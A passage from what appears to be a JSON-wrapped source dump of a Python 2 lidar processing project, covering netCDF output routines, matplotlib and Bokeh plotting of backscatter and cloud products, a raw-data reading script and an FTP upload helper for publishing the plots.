ncfile.createVariable(\"zt\",\"f4\",(\"time\",))\n zt1.units = \"km\"\n zt1.description = \"Cloud Top\"\n zt1[:] = zt\n\n zpbl1 = ncfile.createVariable(\"zpbl\",\"f4\",(\"time\",))\n zpbl1.units = \"km\"\n zpbl1.description = \"PBL Height\"\n zpbl1[:] = zpbl\n\n zinv1 = ncfile.createVariable(\"zinv\",\"f4\",(\"time\",))\n zinv1.units = \"km\"\n zinv1.description = \"Inversion height\"\n zinv1[:] = invtop\n\n### Global Attributes\n ncfile.TITLE = \"LIDAR products\"\n ncfile.YEAR = day_0.year\n ncfile.MONTH = day_0.month\n ncfile.DAY = day_0.day\n ncfile.STATION = station\n\n ncfile.close()\n if Debug: print \"Done!\"\n \ndef update_ncd(filename, x, absc532, absc1064, ldep, dust, sphere, zb, zt, invtop, NZ1, NZ2):\n if Debug:\n print \"**********************\"\n print \"Updating file: {}\".format(filename)\n NT = len(x)\n ncfile = Dataset(filename,'a',format=\"NETCDF3_CLASSIC\") \n #Dimensions\n NT_file = len(ncfile.dimensions[\"time\"])\n NZ1_file = len(ncfile.dimensions[\"alt1\"])\n NZ2_file = len(ncfile.dimensions[\"alt2\"])\n #Variables\n t = ncfile.variables[\"time\"]\n t_end = num2date(t[-1], units = t.units)\n v1 = ncfile.variables[\"bsc532\"]\n v2 = ncfile.variables[\"bsc1064\"]\n v3 = ncfile.variables[\"dep\"]\n v4 = ncfile.variables[\"ext_d\"]\n v5 = ncfile.variables[\"ext_s\"]\n v6 = ncfile.variables[\"zb\"]\n v7 = ncfile.variables[\"zt\"]\n v8 = ncfile.variables[\"zinv\"]\n \n print NZ1_file, NZ2_file\n\n #Check file consistence \n if x[0]==t_end and NZ1==NZ1_file and NZ2==NZ2_file:\n for it in range(NT):\n t[NT_file+it-1] = date2num(x[it], units = t.units)\n v1[NT_file+it-1,:] = absc532[:NZ1,it]\n v2[NT_file+it-1,:] = absc1064[:NZ1,it]\n v3[NT_file+it-1,:] = ldep[:NZ1,it]\n v4[NT_file+it-1,:] = dust[:NZ2,it]\n v5[NT_file+it-1,:] = sphere[:NZ2,it]\n v6[NT_file+it-1] = zb[it]\n v7[NT_file+it-1] = zt[it]\n v8[NT_file+it-1] = invtop[it]\n else:\n print \"Error: File is not consistent with input data\"\n\n ncfile.close()\n if Debug: print \"Done!\"\n \ndef monthly_ncd(path, station, x, lz, absc532, absc1064, ldep, dust, sphere, zb, zt, invtop, NZ1, NZ2):\n if Debug: print \"**** Function monthly_ncd ****\"\n NX = len(x)\n i1 = NX\n fname = \"\"\n for ix in range(NX):\n fname_new = x[ix].strftime(\"%m_%Y\") + \".nc\"\n if fname != fname_new:\n if fname and ix>i1+1:\n #Save data to fname\n if os.path.isfile(path+fname):\n #Append data\n update_ncd(path+fname, \n x[i1:ix], \n absc532[:,i1:ix], \n absc1064[:,i1:ix], \n ldep[:,i1:ix], \n dust[:,i1:ix], \n sphere[:,i1:ix], \n zb[i1:ix], \n zt[i1:ix], \n invtop[i1:ix], \n NZ1, NZ2)\n else:\n #Create a new file\n save_ncd(path+fname, station, \n x[i1:ix], lz, \n absc532[:,i1:ix], \n absc1064[:,i1:ix], \n ldep[:,i1:ix], \n dust[:,i1:ix], \n sphere[:,i1:ix], \n zb[i1:ix], \n zt[i1:ix], \n invtop[i1:ix], \n NZ1, NZ2)\n \n #Inquiry information on fname_new\n if os.path.isfile(path+fname_new):\n if Debug: print \"Found file: \", fname_new\n ncfile = Dataset(path+fname_new,'r',format=\"NETCDF3_CLASSIC\") \n t = ncfile.variables[\"time\"]\n x_in = num2date(t[-1], units = t.units)\n ncfile.close()\n else:\n if Debug: print \"Not found file: \", fname_new\n x_in = x[ix]\n i1 = ix\n fname = fname_new\n else:\n if x[i1]<x_in: i1=ix\n\n #Special case, for the last time:\n if os.path.isfile(path+fname):\n #Append data\n update_ncd(path+fname, \n x[i1:], \n absc532[:,i1:], \n absc1064[:,i1:], \n ldep[:,i1:], \n dust[:,i1:], \n sphere[:,i1:], \n zb[i1:], \n zt[i1:], \n invtop[i1:],\n NZ1, NZ2)\n else:\n #Create a new file\n save_ncd(path+fname, station, \n x[i1:], lz, \n absc532[:,i1:], \n absc1064[:,i1:], \n ldep[:,i1:], \n dust[:,i1:], \n sphere[:,i1:], \n zb[i1:], \n zt[i1:], \n invtop[i1:], \n NZ1, NZ2)\n" }, { "alpha_fraction": 0.5515366792678833, "alphanum_fraction": 0.5878109931945801, "avg_line_length": 32.68309783935547, "blob_id": "cda0407ddc657c39b524c426f0ff75eb64982ffb", "content_id": "8c59e33b2e20448b12915faa31aef11703707c26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9566, "license_type": "no_license", "max_line_length": 109, "num_lines": 284, "path": "/Inversion/Plots.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nimport matplotlib\nmatplotlib.use('Agg') \n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.axisartist as axisartist\nfrom matplotlib.dates import DayLocator, HourLocator, DateFormatter\nfrom matplotlib.colors import LinearSegmentedColormap,ListedColormap,BoundaryNorm\nfrom matplotlib.ticker import LogFormatterMathtext\nfrom netCDF4 import num2date, date2num\nimport warnings\n\n################# Parameters ###############################################\nNMAX = 1E6\nratio = 1E-3 # Aspect ratio km/min\nDebug = True\n############################################################################\n\n### Color map creation\ncolors1 = plt.cm.jet(np.linspace(0, 1, 256))\nstartcolor = np.array([1,1,1,1])\nendcolor = colors1[0]\ncmap = LinearSegmentedColormap.from_list('own',[startcolor,endcolor])\ncolors2 = cmap(np.linspace(0, 1, 72))\ncolors = np.vstack((colors2, colors1))\nmy_cmap = LinearSegmentedColormap.from_list('colormap', colors)\n\ndef build_palette4(l1,l2,l3,l4):\n levs = l1+l2+l3+l4\n \n cm1 = LinearSegmentedColormap.from_list(\"\",[\"#000080\", \"#00b2ee\"])\n cm2 = LinearSegmentedColormap.from_list(\"\",[\"#ffff00\", \"#ff0000\"])\n cm3 = LinearSegmentedColormap.from_list(\"\",[\"#ff0000\", \"#bebebe\"])\n cm4 = LinearSegmentedColormap.from_list(\"\",[\"#bebebe\", \"#ffffff\"])\n\n cl1 = cm1(np.linspace(0,1.,len(l1)+1, endpoint=True))\n cl2 = cm2(np.linspace(0,1.,len(l2), endpoint=False))\n cl3 = cm3(np.linspace(0,1.,len(l3), endpoint=False))\n cl4 = cm4(np.linspace(0,1.,len(l4), endpoint=True))\n\n rgb = np.vstack([cl1,cl2,cl3,cl4])\n\n cmap = ListedColormap(rgb[1:-1], name=\"Caliop\")\n norm = BoundaryNorm(levs, ncolors=len(levs)-1, clip=False)\n cmap.set_under( rgb[0] )\n cmap.set_over( rgb[-1] )\n return cmap,norm\n\ndef resampling(x, data, z, maxalt, maxdays):\n NX = len(x)\n NZ = len(z)\n \n day_0 = x[0]\n units = day_0.strftime(\"minutes since %Y-%m-%d 00:00:00\")\n xm = date2num(x,units=units)\n\n DX = xm[1]-xm[0]\n DZ = z[1]-z[0]\n DZinv = 1.0/DZ\n if maxalt>0:\n NZ0 = int(round(maxalt * DZinv))\n if NZ0<NZ: NZ=NZ0\n if maxdays>0:\n profiles_per_day = 1440/DX\n NX0 = int(round(maxdays*profiles_per_day))\n if NX0<NX: NX=NX0\n \n N = NX*NZ\n if Debug: print \"Original data: {} points\".format(N)\n wz = 1\n wx = 1\n while N>NMAX:\n if DX*DZinv*ratio>1.0: \n wz = 2*wz\n DZinv = 0.5 * DZinv\n else: \n wx = 2*wx\n DX = 2*DX\n N = 0.5*N\n\n NZ = NZ - NZ%wz\n NX = NX - NX%wx\n data = data[:NZ,-NX:]\n\n zmax = z[NZ-1]\n xmin = xm[-NX]\n \n if wz>1:\n if Debug: print \"Using vertical rebin with wz={}\".format(wz)\n NZ = NZ/wz\n data_wz = np.full((NZ,NX),np.nan)\n for it in range(NX):\n if not np.all(np.isnan(data[:,it])):\n data_wz[:,it] = np.nanmean(data[:,it].reshape(-1, wz), axis=1)\n else:\n data_wz = np.copy(data)\n\n if wx>1:\n if Debug: print \"Using horizontal rebin with wx={}\".format(wx)\n NX = NX/wx\n data_wzwx = np.full((NZ,NX),np.nan)\n with warnings.catch_warnings():\n # I expect to see RuntimeWarnings in this block\n warnings.simplefilter(\"ignore\", category=RuntimeWarning)\n for iz in range(NZ):\n data_wzwx[iz,:] = np.nanmean(data_wz[iz,:].reshape(-1, wx), axis=1)\n else:\n data_wzwx = data_wz\n\n z_wz = np.linspace(0,zmax,NZ+1)\n x_wx = num2date([xmin + i*DX for i in range(NX+1)], units=units)\n\n return x_wx, data_wzwx, z_wz\n\ndef get_figure(automatic):\n fig = plt.figure(figsize=(16,6))\n ax = fig.add_subplot(axisartist.Subplot(fig, \"111\"))\n \n if not automatic:\n ax.xaxis.set_major_locator( DayLocator() )\n# ax.xaxis.set_minor_locator( DayLocator(range(2,32,2)) )\n ax.xaxis.set_major_formatter( DateFormatter('%d\\n%b') )\n ax.xaxis.set_minor_formatter( DateFormatter('%d') )\n ax.autoscale_view()\n ax.axis[\"bottom\"].major_ticklabels.set_va('top')\n ax.axis[\"bottom\"].toggle(ticklabels=True)\n ax.axis[\"top\"].toggle(all=False) \n \n ax.axis[:].major_ticks.set_tick_out(True)\n \n ax.fmt_xdata = DateFormatter('%Y-%m-%d %H:%M')\n fig.autofmt_xdate()\n return fig, ax\n \ndef show_raw(x,data,z,filename,maxalt=0.0,maxdays=0.0):\n x_low, data_low, z_low = resampling(x,data,z,maxalt,maxdays)\n fig, ax = get_figure(True)\n\n CS = ax.pcolormesh(x_low,z_low,data_low, cmap=my_cmap, vmin=0, vmax=20)\n cbar = plt.colorbar(CS)\n cbar.set_label(r\"Signal strength [$mv \\times km^2$]\", labelpad=-63)\n\n plt.xlabel('')\n plt.ylabel('Height AGL [km]')\n fig.savefig(filename, bbox_inches='tight', dpi=150)\n \ndef show_beta(x,data,z,fname=\"attbsc.png\",label=\"Attenuated Backscatter coefficient\",maxalt=0.0,maxdays=0.0):\n x_low, data_low, z_low = resampling(x,data,z,maxalt,maxdays)\n data_low = np.ma.masked_invalid(data_low)\n\n levs1 = [i*1E-4 for i in [1,2,4,6,8,10] ]\n levs2 = [i*1E-3 for i in [1.25,1.5,1.75,2,2.25,2.5,2.75,3] ]\n levs3 = [i*1E-3 for i in [4,5,6] ]\n levs4 = [i*1E-3 for i in [7,8,9,10,20,40,60,80,100] ]\n my_cmap,my_norm = build_palette4(levs1,levs2,levs3,levs4)\n\n auto_tick = maxdays>12\n fig, ax = get_figure(auto_tick)\n CS = ax.pcolormesh(x_low, z_low, data_low,\n cmap = my_cmap,\n norm = my_norm,\n )\n my_ticks = np.array([1E-4,1E-3,1E-2,1E-1])\n cbar = plt.colorbar(CS,\n ticks=my_ticks, \n extend='both',\n format=LogFormatterMathtext(),\n orientation='horizontal',\n aspect=30,\n shrink=0.6, \n )\n ax.set_title(label + r\" $[/sr \\, /km]$\")\n ax.patch.set(hatch='/', edgecolor='black')\n\n plt.xlabel('')\n plt.ylabel('Height AGL [km]')\n fig.savefig(fname, bbox_inches='tight', dpi=150)\n \ndef show_alpha(x,data,z,zb,zt,zc,filename,maxalt=0.0,maxdays=0.0):\n x_low, data_low, z_low = resampling(x,data,z,maxalt,maxdays)\n fig, ax = get_figure(True)\n\n masked = np.ma.array (data_low, mask=np.isnan(data_low))\n \n tick = np.array([0.0, 0.1, 0.2, 0.3, 0.4, 0.5])\n CS = ax.pcolormesh(x_low,z_low,masked, cmap=my_cmap, vmin=0, vmax=0.5)\n cbar = plt.colorbar(CS, ticks=tick)\n cbar.set_label(r\"Extinction coefficient $[/km]$\", labelpad=-63)\n \n with np.errstate(invalid='ignore'):\n NX = len(x)\n zz = [min(zt[i],maxalt) for i in range(NX)]\n ax.fill_between(x, zb, zz, where=zb<maxalt, color='black', alpha=0.8)\n ax.fill_between(x, zc, maxalt, where=zc<maxalt, color='green', alpha=0.1)\n# ax.fill_between(x, 0, zmax, where=np.all(np.isnan(data), axis=0),color='green', alpha=0.1)\n\n plt.xlabel('')\n plt.ylabel('Height AGL [km]')\n fig.savefig(filename, bbox_inches='tight', dpi=150)\n \ndef show_dep(x,data,z,filename,maxalt=0.0,maxdays=0.0):\n x_low, data_low, z_low = resampling(x,data,z,maxalt,maxdays)\n fig, ax = get_figure(True)\n\n masked = np.ma.array (data_low, mask=np.isnan(data_low))\n \n tick = np.array([0.0, 0.1, 0.2, 0.3])\n CS = ax.pcolormesh(x_low, z_low, masked, cmap=my_cmap, vmin=0, vmax=0.3)\n cbar = plt.colorbar(CS, ticks=tick)\n cbar.set_label(r\"Volume Depolarization Ratio\", labelpad=-63)\n\n plt.xlabel('')\n plt.ylabel('Height AGL [km]')\n fig.savefig(filename, bbox_inches='tight', dpi=150)\n \ndef show_cal(x,data,z,zb,zt,filename,maxalt=0.0,maxdays=0.0):\n x_low, data_low, z_low = resampling(x,data,z,maxalt,maxdays)\n fig, ax = get_figure(True)\n\n CS = ax.pcolormesh(x_low,z_low,data_low, cmap=my_cmap, vmin=0, vmax=2E5)\n cbar = plt.colorbar(CS)\n cbar.set_label(r\"Signal strength [$u.a.$]\", labelpad=-80)\n\n ax.plot(x,zb,'ro',ms=4,label=\"Cloud base\")\n ax.plot(x,zt,'go',ms=4,label=\"Cloud top\")\n plt.xlabel('')\n plt.ylabel('Height AGL [km]')\n fig.savefig(filename, bbox_inches='tight', dpi=150)\n\ndef show_ash(x,data,z,filename):\n fig, ax = get_figure(True)\n\n CS = ax.pcolormesh(x, z, data.T, cmap=my_cmap)\n cbar = plt.colorbar(CS)\n cbar.set_label(r\"Ash concentration ($mg\\,m^{3}$)\")\n\n plt.xlabel('')\n plt.ylabel('Height AGL [km]')\n fig.savefig(filename, bbox_inches='tight', dpi=150)\n\ndef show_mask(x,data,z,filename):\n fig, ax = get_figure(True)\n\n cmap_disc = plt.get_cmap('gist_ncar', 11)\n\n CS = ax.pcolormesh(x, z, data.T, cmap=cmap_disc, vmin=-1.5, vmax=9.5)\n cbar = plt.colorbar(CS, ticks=np.arange(-1,10))\n cbar.set_label(r\"Classes\")\n cbar.ax.set_yticklabels(['Undefined', \n 'No Data', \n 'Noisy', \n 'Molecule', \n 'Clean', \n 'Aerosol', \n 'Unknown', \n 'Rain-Fog', \n 'Cloud', \n 'Saturated',\n 'Unknown2'])\n\n\n plt.xlabel('')\n plt.ylabel('Height AGL [km]')\n fig.savefig(filename, bbox_inches='tight', dpi=150)\n \ndef histo(hist, bin_edges):\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.bar(bin_edges[:-1], hist, width=0.05)\n fig.savefig(\"histogram.png\", bbox_inches='tight', dpi=150)\n \ndef xy(x, y, params, filename):\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.plot(x,y,'ro')\n ax.plot(x,x*params[0]+params[1],'k-')\n if filename=='calibration.png':\n plt.xlabel(r\"Visible signal (calibrated) $[u.a.]$\")\n plt.ylabel(r\"IR signal $[mV \\, km^{2}]$\")\n else:\n plt.xlabel(r\"Parallel signal $[mV \\, km^{2}]$\")\n plt.ylabel(r\"Perpendicular signal $[mV \\, km^{2}]$\")\n fig.savefig(filename, bbox_inches='tight', dpi=150)\n" }, { "alpha_fraction": 0.5495893955230713, "alphanum_fraction": 0.5818067193031311, "avg_line_length": 30, "blob_id": "c8b067decb06e709ff291a8a4eff8bb9a8f0fdfb", "content_id": "c08a3ab59e11e49f5003be8de92c8be4491d940f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1583, "license_type": "no_license", "max_line_length": 76, "num_lines": 51, "path": "/Utilities/PostProcessing/main.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport numpy as np\nfrom netCDF4 import Dataset, num2date\nfrom datetime import datetime, timedelta\nfrom ConfigParser import SafeConfigParser\nimport Plots\n\n################# Parameters ###############################################\ncfgfile = \"../../parameters.cfg\"\nblock = \"Comodoro\"\nDebug = True\n############################################################################\n\nconfig = SafeConfigParser()\nconfig.read(cfgfile)\n\n#Read parameters from an external file (string case)\nstation = config.get(block, \"prefix\")\nncpath_out = config.get(\"Paths\", \"ncpath_out\")\nncfile_out = config.get(\"Paths\", \"ncfile_out\")\npath = ncpath_out + block + '/'\nncfile_out = \"09_2017.nc\"\n\nif Debug: print \"Opening file: \", path+ncfile_out\n### Read Time, Data (mV), Heigth (km)\nds = Dataset(path+ncfile_out)\nbsc532 = ds.variables[\"bsc532\"][:]\nbsc1064 = ds.variables[\"bsc1064\"][:]\ndep = ds.variables[\"dep\"][:]\next_d = ds.variables[\"ext_d\"][:]\next_s = ds.variables[\"ext_s\"][:]\nzb = ds.variables[\"zb\"][:]\nzt = ds.variables[\"zt\"][:]\nzinv = ds.variables[\"zinv\"][:]\nz1 = ds.variables[\"alt1\"][:]\nz2 = ds.variables[\"alt2\"][:]\ntimes = ds.variables[\"time\"]\nx = num2date(times[:],units=times.units)\nds.close()\n\n### Number of profiles and vertical levels\nNX = len(x)\nNZ1 = len(z1)\nNZ2 = len(z2)\n \nPlots.show_beta(x[700:],bsc532[700:,:].T,z1)\n#Plots.show_beta(x,bsc1064.T,z1)\n#Plots.show_dep(x,dep.T,z1)\n#Plots.show_alpha(x,ext_d.T,z2,zb,zt,zinv,zmax=9.)\n#Plots.show_alpha(x,ext_s.T,z2,zb,zt,zinv,zmax=9.)\n\n\n" }, { "alpha_fraction": 0.5696055889129639, "alphanum_fraction": 0.5858468413352966, "avg_line_length": 34.91666793823242, "blob_id": "bfc25481463fca004605483d3f3f0785416db9db", "content_id": "846b463349186a6fae75379ebc923d68f9bed973", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2586, "license_type": "no_license", "max_line_length": 96, "num_lines": 72, "path": "/read_rawdata.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n\nfrom Reading import ReadRaw\nfrom datetime import datetime\nfrom ConfigParser import SafeConfigParser\nfrom os.path import isfile, join, dirname, abspath\nimport sys\n\n################# Parameters ###############################################\ncfgfile = \"parameters.cfg\" # CFG file\nt1 = datetime(year=2019, month=4, day=1, hour=0, minute=0) # Start date and time\nt2 = datetime(year=2019, month=4, day=30, hour=0, minute=0) # Final date and time\nDebug = True\n############################################################################\n\ncfgpath = dirname(abspath(__file__))\ncfgpath = join(cfgpath, cfgfile)\n\nstation_list = ['aeroparque',\n 'bariloche',\n 'comodoro',\n 'cordoba',\n 'gallegos',\n 'neuquen',\n 'parenas',\n 'tucuman',\n 'vmartelli']\n\nstation_block = sys.argv[1]\n\nif station_block in station_list:\n print \"Working for station {}\".format(station_block)\nelse:\n print \"{} is not a valid station\".format(station_block)\n print \"Posible options:\"\n for item in station_list: print item\n sys.exit()\n\nconfig = SafeConfigParser()\nconfig.read(cfgpath)\n\n#Read parameters from an external file\nblock = station_block\nsampling = config.getint(block, \"sampling\")\nFileSize = config.getint(block, \"FileSize\")\nprefix = config.get(block, \"prefix\")\nncpath_raw = config.get(\"Paths\", \"ncpath_raw\")\nncfile_raw = config.get(\"Paths\", \"ncfile_raw\")\nbinpath = config.get(\"Paths\", \"binpath\")\n\nncfile_raw = join(ncpath_raw,prefix + ncfile_raw)\nbinpath = join(binpath, station_block) + \"/\"\n\nprint \"Program for reading binary data from LICEL raw data\"\nprint \"***************************************************\"\nprint \"Looking for binary raw data in {}\".format(binpath)\nprint \"Reading binary data from {} to {}\".format(t1,t2)\nt1_data, t2_data = ReadRaw.findtimes(t1,t2,sampling,binpath,prefix,ncfile_raw,FileSize)\nprint \"Time range found: {}-{}\".format(t1_data, t2_data)\n\nif t2_data>t1_data:\n x, y1, y2, y3, z, height = ReadRaw.get_data(t1_data,t2_data,sampling,binpath,prefix,FileSize)\n if isfile(ncfile_raw):\n print \"Updating output file: {}\".format(ncfile_raw)\n ReadRaw.updatencd(x, y1, y2, y3, z, ncfile_raw)\n else:\n print \"Creating output file: {}\".format(ncfile_raw)\n ReadRaw.createncd(x, y1, y2, y3, z, height, ncfile_raw)\nelse:\n print \"Nothing to do\"\n print \"Waiting for new data\"\nprint \"******** Done ! **********\"\n" }, { "alpha_fraction": 0.4756302535533905, "alphanum_fraction": 0.5104761719703674, "avg_line_length": 32.55263137817383, "blob_id": "56b088cf357fb1bfdde3fd131eed2405c6dce29b", "content_id": "b6b007cc915e10628fba62e6fc24473199edb6fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8925, "license_type": "no_license", "max_line_length": 99, "num_lines": 266, "path": "/Web/IOweb.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2\n\nimport numpy as np\nfrom bokeh.plotting import figure, show\nfrom bokeh.models import (ColorBar, \n ColumnDataSource, \n CustomJS,\n DatetimeTickFormatter, \n FixedTicker, \n FuncTickFormatter, \n HoverTool, \n Legend, \n LinearColorMapper, \n RadioButtonGroup, \n Toggle\n )\nfrom bokeh.resources import CDN\nfrom bokeh.embed import autoload_static\nfrom bokeh.layouts import column, row, widgetbox, Spacer\n\nfrom netCDF4 import Dataset, num2date\nfrom os.path import isfile, join\nfrom matplotlib.colors import LinearSegmentedColormap,ListedColormap,BoundaryNorm,rgb2hex\nfrom ftplib import FTP\n\n################# Parameters ###############################################\nmax_days = 5\nlevs1 = [i*1E-4 for i in [1,2,4,6,8,10] ]\nlevs2 = [i*1E-3 for i in [1.25,1.5,1.75,2,2.25,2.5,2.75,3] ]\nlevs3 = [i*1E-3 for i in [4,5,6] ]\nlevs4 = [i*1E-3 for i in [7,8,9,10,20,40,60,80,100] ]\nlevs = levs1 + levs2 + levs3 + levs4\nDebug = True\n############################################################################\n\ndef build_palette4(l1,l2,l3,l4):\n levs = l1+l2+l3+l4\n\n cm1 = LinearSegmentedColormap.from_list(\"\",[\"#000080\", \"#00b2ee\"])\n cm2 = LinearSegmentedColormap.from_list(\"\",[\"#ffff00\", \"#ff0000\"])\n cm3 = LinearSegmentedColormap.from_list(\"\",[\"#ff0000\", \"#bebebe\"])\n cm4 = LinearSegmentedColormap.from_list(\"\",[\"#bebebe\", \"#ffffff\"])\n\n cl1 = cm1(np.linspace(0,1.,len(l1)+1, endpoint=True))\n cl2 = cm2(np.linspace(0,1.,len(l2), endpoint=False))\n cl3 = cm3(np.linspace(0,1.,len(l3), endpoint=False))\n cl4 = cm4(np.linspace(0,1.,len(l4), endpoint=True))\n\n rgb = np.vstack([cl1,cl2,cl3,cl4])\n\n cmap = ListedColormap(rgb[1:-1], name=\"Caliop\")\n norm = BoundaryNorm(levs, ncolors=cmap.N, clip=False)\n cmap.set_under( rgb[0] )\n cmap.set_over( rgb[-1] )\n return cmap,norm,rgb[1:-1] \n\ndef create_js(plot,path,jsfile):\n js, tag = autoload_static(plot, CDN, jsfile)\n with open(join(path,jsfile), 'w') as f:\n f.write(js)\n return tag\n\ndef lidar2js(path, ncfile, jsfile):\n fname_nc = join(path,ncfile)\n if isfile(fname_nc):\n if Debug: \n print \"Found file: \", ncfile\n ds = Dataset(fname_nc,'r',format=\"NETCDF3_CLASSIC\") \n t_raw = ds.variables[\"time\"]\n z = ds.variables[\"alt1\"][:]\n bsc532 = ds.variables[\"bsc532\"][:]\n bsc1064 = ds.variables[\"bsc1064\"][:]\n zb = ds.variables[\"zb\"][:]\n zpbl = ds.variables[\"zpbl\"][:]\n t = num2date(t_raw[:], units = t_raw.units)\n tm = t_raw[:]\n ds.close()\n else:\n if Debug: \n print \"Not found file: \", ncfile\n return \"No Data\"\n\n DX = t[1]-t[0]\n Dx_sec = DX.total_seconds()\n Nx = len(t)\n Nx0 = int(max_days*86400.0/Dx_sec)\n if Nx0<Nx: Nx=Nx0\n tmin = t[-Nx]\n tmax = t[-1]+DX\n twidth = 1000.0*(tmax-tmin).total_seconds()\n\n zmin = 0\n zmax = z[-1]\n\n my_cmap,my_norm,my_rgb = build_palette4(levs1,levs2,levs3,levs4)\n img532_raw = my_norm(bsc532[-Nx:,:])\n img1064_raw = my_norm(bsc1064[-Nx:,:])\n\n data1 = {'zbase': zb[-Nx:], \n 'zpbl': zpbl[-Nx:], \n 'tcenter': t[-Nx:] + DX/2,\n }\n data2 = { 'image532': [np.array(img532_raw.filled().T, dtype=np.int8)], \n 'image1064': [np.array(img1064_raw.filled().T, dtype=np.int8)], \n }\n data3 = { 'profile532': bsc532[-1,:],\n 'range': z\n }\n src = ColumnDataSource(data=data1)\n src_img = ColumnDataSource(data=data2)\n src_z = ColumnDataSource(data=data3)\n\n color_mapper = LinearColorMapper(palette=[rgb2hex(item) for item in my_rgb], \n low=0, \n high=my_cmap.N\n )\n\n plot = figure(x_range=(tmin,tmax), y_range=(zmin,zmax), \n title=\"Attenuated Backscatter coefficient [/sr /km]\",\n toolbar_location=\"above\",\n tools = \"pan,wheel_zoom,box_zoom,reset,save\",\n active_scroll=None, \n active_drag=None,\n active_inspect=None,\n # toolbar_sticky=False,\n y_axis_label = 'Height [km]',\n plot_width=900, \n plot_height=350, \n )\n plot.toolbar.logo=None\n\n plot2 = figure(title=\"Last Profile at 532 nm - {}\".format(t[-1]),\n \t tools = \"pan,wheel_zoom,box_zoom,reset,save\",\n \t y_axis_label = 'Height [km]',\n \t x_axis_label = 'Attenuated Backscatter coefficient [/sr /km]',\n # y_axis_type=\"log\",\n active_inspect=None,\n plot_width=900, \n plot_height=350\n \t )\n plot2.toolbar.logo=None\n \n plot2.line(x='profile532', y='range',\n source=src_z, \n line_color=\"black\", \n )\n\n im = plot.image(image=\"image532\", \n source=src_img,\n color_mapper=color_mapper,\n dh=zmax, dw=twidth, \n x=tmin, y=zmin\n ) \n\n #l1 = plot.line( x='tcenter', y='zbase', source=source, line_width=2, alpha=0.8, color=\"black\")\n #l2 = plot.line( x='tcenter', y='zpbl' , source=source, line_width=2, alpha=0.8, color=\"red\")\n\n r1 = plot.circle( x='tcenter', y='zbase', \n source=src, \n fill_color=\"black\", \n line_color=\"black\", \n fill_alpha=0.3,\n size=4,\n name=\"r1\"\n )\n r2 = plot.square( x='tcenter', y='zpbl', \n source=src, \n fill_color=\"red\", \n line_color=\"red\", \n fill_alpha=0.3,\n size=4,\n name=\"r2\"\n )\n for item in [r1,r2]: item.visible = False\n\n color_bar = ColorBar(color_mapper=color_mapper, \n ticker=FixedTicker(ticks=[0,5,20,25]),\n label_standoff=12, \n border_line_color=None, \n location=(0,0)\n )\n color_bar.bar_line_color = \"black\"\n color_bar.major_tick_line_color = \"black\"\n color_bar.formatter = FuncTickFormatter(code=\"return {}[tick].toExponential(2)\".format(levs))\n\n legend = Legend(items=[(\"Cloud Base\",[r1]), (\"PBL Height\",[r2])], \n location=\"top_left\"\n )\n legend.click_policy = \"hide\"\n legend.visible = False\n\n hover = HoverTool(names=[\"r1\",\"r2\"])\n hover.tooltips=[(\"Cloud base\", \"@zbase km\"), \n (\"PBL height\", \"@zpbl km\"), \n (\"Time\", \"@tcenter{%d-%b-%y %H:%M}\")]\n hover.formatters = { \"tcenter\": \"datetime\"}\n\n hover2 = HoverTool(tooltips=[\n (\"Signal\", \"@profile532\"), \n (\"Range\", \"@range\"), \n ])\n\n plot.add_layout(color_bar, 'right')\n plot.add_layout(legend)\n plot.add_tools(hover)\n\n plot2.add_tools(hover2)\n \n plot.xaxis.formatter = DatetimeTickFormatter(months = ['%Y-%b'],\n years = ['%Y'],\n days = ['%d-%b-%Y']\n )\n\n callback = CustomJS(args=dict(im=im), code=\"\"\"\n var f = cb_obj.active\n if (f==0){\n im.glyph.image.field = \"image532\"\n } else {\n im.glyph.image.field = \"image1064\"\n }\n im.glyph.change.emit();\n \"\"\")\n radio_button_group = RadioButtonGroup(labels=[\"532 nm\", \"1064 nm\"], active=0)\n radio_button_group.js_on_change('active',callback)\n\n callback2 = CustomJS(args=dict(leg=legend), code=\"\"\"\n leg.visible = !leg.visible\n console.log(\"ol\")\n \"\"\")\n toggle = Toggle(label=\"Legend\", button_type=\"default\")\n toggle.js_on_click(callback2)\n\n layout = column(\n \t\t\t\tchildren=[ \n \t\t\t\t\trow(widgetbox(radio_button_group, width=200), widgetbox(toggle, width=80) ), \n \t\t\t\t\tplot,\n \t\t\t\t\tSpacer(height=50),\n \t\t\t\t\t# row(Spacer(width=50),plot2),\n \t\t\t\t\tplot2, \n\t\t\t\t\t], \n \t\t\t\t)\n\n \t\t\t\n #show(plot)\n return create_js(layout,path,jsfile)\n\ndef connect_ftp(USER,PASS,SERVER,PORT):\n #Connect to the server\n ftp = FTP()\n ftp.connect(SERVER, PORT)\n ftp.login(USER, PASS)\n return ftp\n\ndef upload_file(ftp_connetion, fname, binary_store=True):\n #Open the file\n try:\n upload_file = open(fname, 'r')\n #transfer the file\n print('Uploading ' + fname + '...')\n if binary_store:\n ftp_connetion.storbinary('STOR '+ fname, upload_file)\n else:\n ftp_connetion.storlines('STOR '+ fname, upload_file)\n print('Upload finished.')\n except IOError:\n print (\"No such file or directory...\")\n" }, { "alpha_fraction": 0.5393604040145874, "alphanum_fraction": 0.5718327164649963, "avg_line_length": 34.199134826660156, "blob_id": "6302d851ef4ea825ecfc1df68b4a500aead4e5ca", "content_id": "e9d1619c47b13f9850f99f7605d4ef6847a78537", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8130, "license_type": "no_license", "max_line_length": 106, "num_lines": 231, "path": "/Reading/ReadRaw.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2\n\nfrom LoadLicel import LoadLicel\nfrom netCDF4 import Dataset, num2date, date2num\nfrom datetime import 